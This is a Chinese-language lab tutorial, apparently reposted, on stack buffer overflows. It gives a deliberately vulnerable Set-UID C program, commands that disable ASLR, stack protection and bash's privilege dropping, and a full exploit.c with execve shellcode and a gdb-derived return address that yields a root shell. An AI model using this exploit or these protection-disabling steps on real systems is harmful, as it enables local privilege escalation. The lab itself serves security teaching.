緩沖區溢出


實驗准備

本次實驗為了方便觀察匯編語句,我們需要在 32 位環境下作操作,因此實驗之前需要做一些准備。輸入命令安裝一些用於編譯 32 位 C 程序的軟件包:

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

安裝結果如圖:

(1)Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測准確的內存地址變得十分困難,而猜測內存地址是緩沖區溢出攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:

sudo sysctl -w kernel.randomize_va_space=0


(2)此外,為了進一步防范緩沖區溢出攻擊及其它利用 shell 程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程序調用一個 shell,也不能在這個 shell 中保持 root 權限,這個防護措施在 /bin/bash 中實現。
linux 系統中,/bin/sh 是指向 /bin/bash 或 /bin/dash 的一個符號鏈接。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何設置 zsh 程序:

sudo su 
cd /bin 
rm sh 
ln -s zsh sh 
exit


(3)輸入命令 linux32 進入32位linux環境。此時你會發現,命令行用起來沒那么爽了,比如不能tab補全了。
輸入/bin/bash 使用bash:


(4)一般情況下,緩沖區溢出會造成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址,那么程序就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用於實現其他功能,這段代碼就是 shellcode。
觀察以下代碼:

#include <stdio.h> 
int main() 
{ 
char *name[2]; 
name[0] = "/bin/sh"; 
name[1] = NULL; 
execve(name[0], name, NULL); 
}

本次實驗的 shellcode,就是剛才代碼的匯編版本
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
在 /tmp 目錄下新建一個 stack.c 文件:

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
int bof(char *str) 
{ 
char buffer[12]; 
strcpy(buffer, str); 
return 1; 
} 
int main(int argc, char **argv) 
{ 
char str[517]; 
FILE *badfile; 
badfile = fopen("badfile", "r"); 
fread(str, sizeof(char), 517, badfile); 
bof(str); 
printf("Returned Properly\n"); 
return 1; 
}


通過代碼可以知道,程序會讀取一個名為“badfile”的文件,並將文件內容裝入“buffer”。
編譯該程序,並設置 SET-UID。命令如下:

sudo su 
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack 
exit


GCC編譯器有一種棧保護機制來阻止緩沖區溢出,所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧。-g 參數是為了使編譯后得到的可執行文檔能用 gdb 調試。
我們的目的是攻擊剛才的漏洞程序,並通過攻擊獲得 root 權限。在 /tmp 目錄下新建一個 exploit.c 文件,輸入如下內容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
    strcpy(buffer + 100, shellcode);   
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代碼,\x??\x??\x??\x?? 處需要添上 shellcode 保存在內存中的地址,因為發生溢出后這個位置剛好可以覆蓋返回地址。而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode 保存在 buffer + 100 的位置。下面我們將詳細介紹如何獲得我們需要添加的地址。
現在我們要得到 shellcode 在內存中的地址,輸入命令進入 gdb 調試:

gdb stack 
disass main


esp 中就是 str 的起始地址,所以我們在地址 0x080484ee 處設置斷點。
接下來:

# 設置斷點 
b *0x080484ee 
r 
i r $esp


最后獲得的這個 0xffffcfb0 就是 str 的地址。
根據語句 strcpy(buffer + 100,shellcode);
我們計算 shellcode 的地址

0xffffcfb0 + 0x64 = 0xffffd014

現在修改 exploit.c 文件,將 \x??\x??\x??\x?? 修改為計算的結果 \x14\xd0\xff\xff,注意順序是反的。
然后,編譯 exploit.c 程序:

先運行攻擊程序 exploit,再運行漏洞程序 stack,觀察結果:

whoami 是輸入的命令,不是輸出結果。
可見,通過攻擊,獲得了root 權限!
通過命令 sudo sysctl -w kernel.randomize_va_space=2 打開系統的地址空間隨機化機制,重復用 exploit 程序攻擊 stack 程序,觀察能否攻擊成功,能否獲得root權限。

沒有獲得root權限


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM